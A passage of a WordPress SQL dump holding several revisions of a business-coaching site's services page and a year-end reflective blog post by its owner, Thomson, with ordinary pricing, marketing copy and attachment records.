(1328, 2, '2010-12-16 15:11:50', '2010-12-16 22:11:50', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-16 15:11:50', '2010-12-16 22:11:50', '', 138, 'http://www.whitehotcenter.com/2010/12/16/138-revision-101/', 0, 'revision', '', 0),
(1329, 2, '2010-12-16 15:12:11', '2010-12-16 22:12:11', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-16 15:12:11', '2010-12-16 22:12:11', '', 138, 'http://www.whitehotcenter.com/2010/12/16/138-revision-102/', 0, 'revision', '', 0),
(1330, 2, '2010-12-17 15:18:22', '2010-12-17 22:18:22', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="450" height="225" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'publish', 'open', 'open', '', 'reflections-on-the-year-2010', '', '', '2010-12-27 15:45:11', '2010-12-27 22:45:11', '', 0, 'http://www.whitehotcenter.com/?p=1330', 0, 'post', '', 4),
(1331, 2, '2010-12-17 14:40:20', '2010-12-17 21:40:20', '', 'WHCchristmascard-LZ', 0, '', 'inherit', 'open', 'open', '', 'whcchristmascard-lz', '', '', '2010-12-17 14:40:20', '2010-12-17 21:40:20', '', 1330, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif', 0, 'attachment', 'image/gif', 0),
(1332, 2, '2010-12-17 14:46:34', '2010-12-17 21:46:34', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 was the year that “it’ll all come together” for me. I began the year with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\n\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\n\n<strong>This year “it” all came together!</strong>\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\n\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\n\n<strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong>\n\n<strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong>\n\n<strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong>\n\n<strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong>\n\n<strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong>\n\n<strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong>\n\n<strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong>\n\n<em> </em>\n\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\n\n<strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong>\n\n<strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong>\n\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\n\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\n\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\n\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\n\nTo your inspired success,\n\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision', '', '', '2010-12-17 14:46:34', '2010-12-17 21:46:34', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision/', 0, 'revision', '', 0);
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(1333, 2, '2010-12-17 14:47:17', '2010-12-17 21:47:17', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 was the year that “it’ll all come together” for me. I began the year with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong>\r\n\r\n<strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong>\r\n\r\n<strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong>\r\n\r\n<strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong>\r\n\r\n<strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong>\r\n\r\n<strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong>\r\n\r\n<strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong>\r\n\r\n<strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\n\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-2', '', '', '2010-12-17 14:47:17', '2010-12-17 21:47:17', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-2/', 0, 'revision', '', 0),
(1334, 2, '2010-12-17 14:48:02', '2010-12-17 21:48:02', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 was the year that “it’ll all come together” for me. I began the year with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my 